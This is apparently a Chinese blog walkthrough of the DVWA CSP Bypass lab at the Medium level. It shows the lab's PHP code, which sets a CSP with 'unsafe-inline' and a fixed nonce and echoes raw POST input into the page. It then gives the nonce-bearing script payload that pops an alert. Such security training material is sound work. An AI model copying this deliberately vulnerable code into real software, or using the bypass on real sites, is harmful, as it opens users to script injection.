Medium Level

查看代码

<?php

$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";

header($headerCSP);

// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");

# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
    " . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
    <p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
    <input size="50" type="text" name="include" value=""  />
    <input type="submit" value="Include" />
</form>
';

http头信息中的script-src的合法来源发生了变化,说明如下

  • unsafe-inline,允许使用内联资源,如内联< script>元素,javascript:URL,内联事件处理程序(如onclick)和内联< style>元素。必须包括单引号。
  • nonce-source,仅允许特定的内联脚本块,nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA="

现在更加简单了,可以直接输入以下代码

 <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>

弹出如下信息框,表示注入成功。

DVWA-13.2 CSP Bypass(绕过浏览器的安全策略)-Medium

 

参考:https://zhuanlan.zhihu.com/p/110012962

相关文章:

  • 2021-06-27
  • 2021-10-14
  • 2021-12-09
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2021-04-20
  • 2021-05-23
猜你喜欢
  • 2021-10-05
  • 2021-09-14
  • 2022-12-23
  • 2021-10-20
  • 2021-08-06
  • 2021-05-08
  • 2021-08-11
相关资源
相似解决方案